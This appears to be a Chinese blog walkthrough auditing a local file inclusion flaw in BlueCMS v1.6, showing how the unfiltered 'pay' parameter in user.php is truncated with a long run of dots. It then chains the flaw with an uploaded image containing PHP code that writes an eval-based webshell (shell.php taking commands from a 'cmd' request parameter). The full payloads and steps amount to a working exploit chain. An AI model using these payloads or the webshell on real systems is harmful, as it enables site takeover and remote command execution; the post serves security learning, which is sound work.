700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > BlueCms v1.6 本地文件包含漏洞代码审计

BlueCms v1.6 本地文件包含漏洞代码审计

时间:2021-10-26 07:14:56

相关推荐

BlueCms v1.6 本地文件包含漏洞代码审计

目录

BlueCms

POC构造

漏洞利用

BlueCms

BlueCMS是一款专注于地方门户网站建设解决方案,基于PHP+MySQL的技术开发,全部源码开放。

复现版本为bluecmsv1.6版本,各位可自行下载。

POC构造

可以先用代码审计工具如Seay扫一波,或者直接观察代码。如下在user.php中,可以看到,如果act参数为pay值,这包含 'include/payment/'.$_POST['pay']."/index.php" 文件,其中pay参数没有过滤。按道理只要截断一下,应该可以利用此漏洞。

这里的难点就是怎么将其截断然后去包含我们想要包含的文件,因为后面拼接了一个"index.php"这个字符。

先去到漏洞链接所在处,会员中心->充值中心->金币充值->在线支付。

先测试如何构建payload才能成功,我们现在include/payment/下新建一个1.php文件内容为phpinfo

点击在线支付Bp截取数据,发到repeater模块,构造exp。

%00截断,失败price=1&id=2&name=2&pay=1.php%00?号截断,失败price=1&id=2&name=2&pay=1.php?.溢出截断,成功price=1&id=2&name=2&pay=1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

这里构造的payload说明将'include/payment/'.$_POST['pay']."/index.php"后面的index.php给截断了。

注意:这里PHP版本与小于等于5.2.17才能截断成功,否则会包含失败。具体什么原因我也知道,有知道的小伙伴可以在评论处说明一下

漏洞利用

我们都知道文件包含分为本地文件包含和远程文件包含,在本系统中因为我构造的payload是插入到系统中已经构造好的本地路径中。所以这里只存在本地文件包含漏洞

文件包含有一个强大的功能就是无条件解析文件,经常结合图片马来进行利用,所以这里我们进行包含图片马写shell,只需要上传一张图片马,包含以下就能重新生成一个shell.php文件。

1. 上传图片马

shell.php如下,将其写入到正常的图片中,传送门——图片马的生成

<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>

如下位置进行上传头像,然后查看图片地址 data/upload/face_pic/16316897019.png

2. 包含图片

将上传的图像地址包含进去

此时会在根目录生成shell.php文件

然后直接连接就可以了,不过这个版本的php用蚁剑或者其他工具连接会有点问题。思路吧,学习思路

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。